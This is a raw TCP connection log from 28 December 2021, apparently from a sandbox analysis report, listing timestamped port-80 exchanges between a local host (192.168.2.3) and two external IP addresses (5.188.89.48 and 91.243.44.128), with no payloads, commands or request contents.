Dec 28, 2021 05:19:29.526981115 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526983976 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527008057 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527025938 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527033091 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527045012 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527056932 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527080059 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527102947 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527112007 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527128935 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527131081 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527153969 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527175903 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527185917 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527195930 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527214050 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527230024 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527246952 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527255058 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527265072 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527283907 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527301073 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527303934 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527318001 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527321100 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527335882 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527340889 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527354002 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527370930 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527388096 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527395964 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527406931 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.527415037 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.527477026 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529071093 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529148102 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529172897 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529185057 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529194117 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529217958 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529230118 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529244900 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529268980 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529282093 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529294014 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529311895 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529326916 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529335022 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529345036 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529361963 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529370070 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529378891 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529397011 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529409885 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529412031 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529426098 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529428959 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529452085 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529474974 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529484034 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529496908 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529509068 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529520988 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529540062 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529556036 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529561996 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529572964 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529588938 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529604912 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529613018 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529620886 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529638052 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529658079 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529658079 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529675007 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529681921 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529695034 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529706001 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529730082 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529730082 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529748917 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529766083 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529782057 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529793024 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529799938 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529812098 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529818058 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529835939 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529851913 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529858112 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529869080 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529887915 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529892921 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529905081 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529922009 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529937983 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529941082 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529949903 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529962063 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529962063 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.529973984 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529985905 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.529998064 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530009031 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530024052 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530039072 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530055046 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530072927 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530097008 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530112982 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.530123949 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530148983 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530157089 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.530170918 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530179024 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.530186892 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530204058 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530215025 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530227900 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530236959 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.530245066 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530262947 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530265093 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.530278921 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.530278921 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530297995 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530313015 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530318975 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.530328989 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530345917 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530358076 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.530364037 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.530397892 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.530421019 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590384007 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590416908 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590439081 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590462923 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590486050 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590512037 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590534925 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590533018 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590559959 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590578079 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590586901 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590588093 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590611935 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590634108 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590656996 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590661049 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590683937 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590687990 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590711117 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590711117 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590735912 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590761900 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590770006 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590786934 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590811014 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590836048 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590847015 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590862036 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590861082 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590888023 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590913057 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590926886 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.590935946 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590955973 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590974092 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.590991020 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591011047 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591027021 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591042995 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591059923 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591084003 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591084957 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591109991 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591131926 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591134071 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591155052 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591173887 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591176987 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591201067 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591202021 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591223955 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591248989 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591272116 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591286898 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591299057 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591301918 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591324091 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591346979 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591362000 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591370106 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591394901 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591398001 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591428995 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591454029 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591476917 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591494083 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591499090 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591517925 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591540098 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591540098 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591564894 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591566086 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591583967 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591608047 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591614962 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591626883 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591651917 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591669083 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591672897 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591691971 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591691017 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591710091 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.591731071 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.591799974 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.597740889 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.598366022 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.661334991 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:31.501951933 CET	49825	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.574342966 CET	80	49825	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:31.576508045 CET	49825	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.576612949 CET	49825	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.576708078 CET	49825	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.649257898 CET	80	49825	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:31.697882891 CET	80	49825	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:31.698522091 CET	49825	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.698683977 CET	49825	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.727154970 CET	49826	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.770966053 CET	80	49825	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:31.794715881 CET	80	49826	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:31.794831038 CET	49826	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.795116901 CET	49826	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.795137882 CET	49826	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.862241983 CET	80	49826	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:31.913069010 CET	80	49826	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:31.914184093 CET	49826	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.914355040 CET	49826	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.940882921 CET	49827	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:31.981671095 CET	80	49826	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.010577917 CET	80	49827	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.010757923 CET	49827	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.011007071 CET	49827	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.011027098 CET	49827	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.080595970 CET	80	49827	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.129422903 CET	80	49827	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.129606009 CET	49827	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.129674911 CET	49827	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.198195934 CET	49828	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.199345112 CET	80	49827	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.264646053 CET	80	49828	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.264779091 CET	49828	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.264918089 CET	49828	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.264934063 CET	49828	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.331278086 CET	80	49828	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.375880957 CET	80	49828	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.376029015 CET	49828	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.376070023 CET	49828	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.404942036 CET	49829	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.442550898 CET	80	49828	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.473108053 CET	80	49829	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.474600077 CET	49829	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.474684000 CET	49829	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.475311041 CET	49829	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.541197062 CET	80	49829	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.541398048 CET	80	49829	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.587661028 CET	80	49829	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.587795019 CET	49829	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.591527939 CET	49829	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.657078028 CET	49830	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.657902956 CET	80	49829	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.720931053 CET	80	49830	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.721255064 CET	49830	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.721321106 CET	49830	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.721376896 CET	49830	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.785144091 CET	80	49830	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.863799095 CET	80	49830	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.864000082 CET	49830	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.896980047 CET	49830	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:32.960728884 CET	80	49830	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:32.961558104 CET	49831	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.025665998 CET	80	49831	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.025839090 CET	49831	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.025895119 CET	49831	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.025991917 CET	49831	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.089693069 CET	80	49831	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.138377905 CET	80	49831	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.138415098 CET	80	49831	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.138509035 CET	49831	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.138695002 CET	49831	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.165024996 CET	49832	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.202404022 CET	80	49831	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.228368998 CET	80	49832	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.229098082 CET	49832	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.229165077 CET	49832	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.229221106 CET	49832	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.292416096 CET	80	49832	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.343810081 CET	80	49832	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.344647884 CET	49832	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.344805956 CET	49832	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.408140898 CET	80	49832	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.415808916 CET	49833	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.483304977 CET	80	49833	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.483411074 CET	49833	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.483509064 CET	49833	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.483522892 CET	49833	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.550318956 CET	80	49833	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.604460955 CET	80	49833	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.604726076 CET	49833	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.604773045 CET	49833	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:33.610816002 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.671668053 CET	80	49833	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:33.673796892 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.674181938 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.674248934 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.737250090 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.737617016 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.737659931 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.737699032 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.737737894 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.737759113 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.737777948 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.737812042 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.737818003 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.737859964 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.737893105 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.737896919 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.737936974 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.737947941 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.737976074 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.738461971 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.800960064 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801009893 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801048994 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801086903 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801110983 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.801126957 CET	80	49834	91.243.44.128	192.168.2.3
